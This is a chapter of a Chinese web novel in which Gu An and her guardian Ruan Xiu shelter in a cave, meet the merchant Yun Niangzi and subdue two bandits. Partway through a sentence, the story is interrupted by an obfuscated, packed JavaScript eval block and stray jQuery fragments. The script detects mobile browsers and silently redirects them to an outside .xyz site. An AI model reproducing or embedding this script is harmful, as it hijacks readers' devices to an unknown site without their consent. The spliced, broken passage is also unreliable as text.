34. 第三十四章

作品:《靠实力造反做女帝

    天蓝,水清,风习习。


    马儿低头悠悠地啃食着青草,顾安抬手摸了摸它光滑的鬃毛,指尖传来温暖的触感。


    此刻,她终于对自由有了实感:“小枣,我们真的出来了!”


    红枣似乎也感受到她主人的兴奋,忽地腾空仰起前蹄。顾安跟着后退半步,咧嘴傻乐。不远处靠在石头上小憩的阮秀睁开眼望向她们,眼神平静而温和。


    清澈的水流从石缝间穿过,发出叮叮咚的响声。


    顾安转身晃悠到岸边,弯腰捧起一点溪水泼到脸上,冰凉的水珠顺着她的脸颊滑落,瞬间将春夏交际时独有的那股闷热冲洗干净。


    阮秀拿出舆地图,盘腿而坐:“此处偏僻,方圆百里之内都没有村落,若能天黑前寻到歇脚点是最好,没有的话只能夜宿野外了。”


    她偏头看向顾安,虽说此次是私自离京,一路上却格外顺利,并未出现过任何意外,沿途还有不少的镇子供她们休整,可越往南山越多,地形复杂,路会更不好走,更别提连顾安自己也说不清她南下究竟是要去哪个地方。


    江湖水深,人心难测,十年间阮秀见过太多,此时对着顾安明亮如星的双眸,难免生出几分怀疑。


    阮秀从不畏艰难,却始终怕护不好在意的人。


    “秀姨?”顾安在她眼前挥了挥手,侧身望向太阳的高度,估摸了下时辰,欢快地说,“不如我们直接原地休整吧,反正也赶不上趟了,这里取水还方便些。”


    她想起上辈子电视剧里放的侠客,一口烤鱼,一口美酒,兴起时就着月色舞剑,别提多潇洒自由。


    阮秀掩住眼底的忧色:“岸边难免会有野兽口渴来喝水,而且溪水也有一定概率涌上岸。”


    顾安哦了一声:“那就继续前进,总能找到歇脚的好地方。”


    阮秀闻言点头,起身解开腰间的水囊走向溪边。另一边的顾安也去牵马,脑袋里还想着香喷喷的烤鱼,结果越想越饿得慌,再抬头看看天,刹那间乌云密布。


    这六月的天哪,说变就变。


    她们戴上斗笠,抓紧寻摸地方避雨。顾安瞥见不远处有一块突出的岩石。她与阮秀对视一眼,骑马靠近,快到时发现那竟然藏有山洞。


    洞口很窄,仅容一人侧身通过。顾安将门口堆着的树杈子踢开,阮秀先一步弯腰进入。


    石壁湿漉漉的,蹭得阮秀半个身子都沾上了青苔,洞内虽然一片漆黑,但她闻到了木头燃烧后留下的烟味。


    怕是有人!


    阮秀立马握紧腰间的佩剑,尽量直起身,护住手中的火折子。她小心地往前挪了小段距离后,发觉石壁开始变得光滑,没走几步整个空间豁然开朗起来,同时也清楚的听见了两道极重的呼吸声。


    佩剑被她抽出,阮秀眼神锐利地扫视洞内,见到的却是相拥缩在角落里的妇人。


    她讶然地站在原地,片刻后抱拳道:“雨大,不得已进来避雨,叨唠了。”


    其中一个较为年长的妇人仔细打量她几眼,深吸气起身回礼:“无碍,我们也只是过路的。”


    阮秀闻言收起剑,手还握在剑柄上,转身准备到外头和顾安商议,耳朵时刻注意着身后的动静。


    荒郊野岭的冒出两个女子,实在是不寻常,可雨下得大,确实不好赶路。


    洞外的顾安先将马牵到了下方的岩石边,掏出雨布将它们捂得严严实实。


    乱石交叠间,相对突出的那一角勉强可以挤下两匹马。


    顾安拧了拧湿透的袖摆,随阮秀进洞,选择了离那两位女子最远的西南角坐下。


    等火架起来时,顾安绕开那两人的位置环顾了一圈,估算此间山洞的洞顶足有两三人高,岩壁上还堆满了凹凹凸凸的石头。


    稍年长的妇人见这一大一小的进来,瞧着是面善,她松了口气拍拍随从的手,也一起将火重新点了起来。


    顾安正将手上的饼子掰开分给阮秀。


    突然洞口又传来动静,听着有三人,脚步声两重一轻。


    “大哥,巧勒!”


    进来的三大男人里,其中一个矮子在看见西南角的两位妇人后神情很是激动。


    被他唤做大哥的光头男并未回应,但特意挑了能与妇人面对面的东北角坐下。


    妇人脸色难看,顾安注意到那个年长的女子脑门冒汗,嘴唇苍白。


    阮秀噌地抽出剑,在火堆旁用帕子细细擦拭,剑刃反射出刺骨的寒光。


    光头男见状将大刀扛到肩头,站了一会见没人搭理,哈哈大笑两声,自己揽着小弟矮子男和另一书生打扮的人前后脚坐到角落,背靠石壁。


    木材燃烧发出噼里啪啦声,年长的妇人先打破沉默,开口邀请顾安她们:“小兄弟,雨天湿气重,我这煮了热汤,你们可要来碗暖暖身子?”


    顾安抿唇本想拒绝,可见她们神情紧张,她扭头对阮秀眨了下眼,站起身拍拍屁股过去。


    “雨下得突然,但能因此遇上小兄弟可谓意外之喜了。”妇人动作利落地盛了满满一碗端给顾安,“你们是要打哪去?”


    顾安笑着接过,露出两颗虎牙:“听说南边景好,我们准备四处走走,算作历练。”


    “小兄弟果然是有出息的。”妇人简单讲明自己的身份,候在旁边看火的女子是她的仆从,“听你的口音是北方来的吧,不知可到过我们路县?”


    云娘子是做百货生意的,半月前其中一间分铺出了差子,她亲自去隔壁县查看,不料回家途中被打了劫,恰好又赶上这阴雨天,只能躲进山洞避雨。


    此刻的云娘子极力邀请顾安同她们一道走:“我们那虽不大,却民风淳朴,景好人好吃的也美,尤其是卤酱蹄子,可谓一绝,小兄弟若还往南走,不如去我们那歇一脚,绝对顺路,也不算远。”


    顾安顺着她的话瞥了眼隔壁凶神恶煞的老哥三,垂眸喝口汤,半碗下肚,浑身都暖洋洋的。


    盛了人家的情,她也不再犹豫,当即答应:“好啊。”


    妇人大喜:“既是如此,小兄弟可愿多个带路的,我们腿脚利索着呢。”


    顾安点头:“云娘子客气了。”


    一听见她应下了,那边的矮子男按捺不住,与他大哥对视一眼后大摇大摆凑到他们跟前,讥笑道:“娘子真小气,分汤也专给俊俏小子,怎么,瞧上他们了?”


    见他走来,仆从瑟缩身子,云娘子大手一挥将人揽到自己身后,蹙眉瞪了矮子男一眼。


    原本还端坐的顾安将碗放下,单手撑地翘起二郎腿,呲了一声:“你在这乱叫什么?”


    矮子男跳脚:“你这小子……”


    在他废话的功夫,顾安抢先动手,一个后肘重重击打对方腹部。


    矮子男诶呦倒地,捂着肚子来回翻滚,顾安直接解了袖套三下五除二将人压在地上,捆绑住双手。


    他的大哥看了阮秀一眼,咬牙往上冲。


    顾安看此人毫无章法的脚步,心中也有了数,原来她们碰到的是两个虚有其表的弱鸡。而与他们一道来的那个书生还老神在在地闭眼运气。


    光头男:“采兰侠,还不快来助我们!”


    一直在观望的阮秀听此已有起身的动作。


    那个称作采兰侠的书生举起双手,满脸的笑模样:“别误会,我与他们可不是一伙的,不过碰巧遇上而已。”


    顾安闻言正想再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048932|174502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问问,却见那书生眨眼的功夫就窜出了洞,好不迅速。


    阮秀上前一步解释说:“江湖盗匪虽如过江之鲫,但唯有一人身轻如燕、来去无影,以侠盗自居,专劫为富不仁之家,取不义之财,两年前有金主散千金要活捉他,这采兰侠却忽然销声匿迹了,传言他已被正法,可一直无人证实,也不知今日出现在此的会是他否?”


    顾安哦了一声,总结道:“就是有名的小偷嘛。”


    阮秀一时无法反驳,云娘子跟着捂嘴笑了两下,朝她们走近:“我听着也是这个理呢。”


    顾安扬了扬眉梢,用脚尖轻点地上的光头,见人支支吾吾说不出所以然来,嘴上还不干不净的,她嫌弃拧眉:“若真是他,怎么会和这俩货厮混到一块?”


    一边的矮子男还在骂骂咧咧,被云娘子迅速塞了块抹布封嘴。


    云娘子一改前头的萎靡,重重啐道:“这俩不要皮子的东西,可把我害惨了!”


    见危险解除,她也放松下来,脱力地靠到仆从身上,叹自己实在是倒霉:“我这次本是蹭了阮家堂的镖回路县,原以为像这样的大家定会牢靠,不想他们闹内讧,直接半路撂挑子,临了还是只能我与紫娘自个赶路,结果就撞上了这几个泼皮无赖,劫财不得还想劫人……”


    走镖有个不成文的规矩,若是运些杂货,碰到想要蹭镖的人寻求庇护,只要有保人在,再交些银两便能和货一起走。


    顾安抱拳应道:“放心,到时就把他们压到衙门那去发落。”


    原本被捆在地上很是慌张的光头与矮子男听到这句话反而放松了神态。


    云娘子听后中气十足地喊着:“真是便宜这俩货了!”


    顾安勾唇调侃道:“看来云娘子你身子好些了。”


    云娘子掏出清凉丹又吃了两粒,抹掉额间因发热出的虚汗,双手叉腰站到匪徒面前,踹了他们两脚:“算他们运气好,要赶上我那俩兄弟在,没他们好果子吃。”


    云娘子的双亲在她小时被山匪绑票残忍虐杀,只留下一个龙凤胎弟弟。在她十岁那年,姐弟二人在路边又捡了个无父无母的孩子带回家,至此三人相依为命。


    但这两弟弟成年后,立志要在外头闯出一片天,纷纷离开了路县。


    云娘子爹娘生前留下的百货行曾被族中长老抢走控制过一段时间,他们以女子终要外嫁为由,架空了云娘子的管家权。


    那时云娘子怎样也寻不见她的俩弟弟,眼见父母留下的心血即将被无赖霸占,一气之下纳了个书生入赘她家,撑起了云氏门楣。


    视线再落回此刻的山洞内,云娘子用力跺脚,再次狠狠表达了自己对匪盗的深痛恶觉:“这些天杀的山匪最是可恨!”


    而一边的阮秀打听见走镖一事后便一直在走神。


    “秀姨?”顾安见她不应自己,加大音量喊道,“师父!”


    阮秀立马回神,惊讶地扬起眉,在听到顾安又一声师父后,她勾起嘴角,耸下肩膀,连忙嗯了两声。


    在宫中,即使是路边一块石头,也得被磨圆后再规矩地摆在固定的位置,否则便是被一脚踢开甚至大卸八块变成更碎的石子,直到它不再尖锐。


    顾安从未这样大声又鲜活地唤过阮秀一声师父,在很多宫人眼里,阮秀只是一个名不经传,说好听点就是会些功夫的白身,哪当得起郡主的师父。


    可伴顾安长大的这两年,阮秀早也将她视为自己的亲人,她也想做顾安的依靠,陪着安安慢慢变得更好……


    阮秀笑着回应:“如你所言,在此歇脚等明日天亮直接出发去路县。”


    就这样吧。


    她打消了方才想回家看看的念头。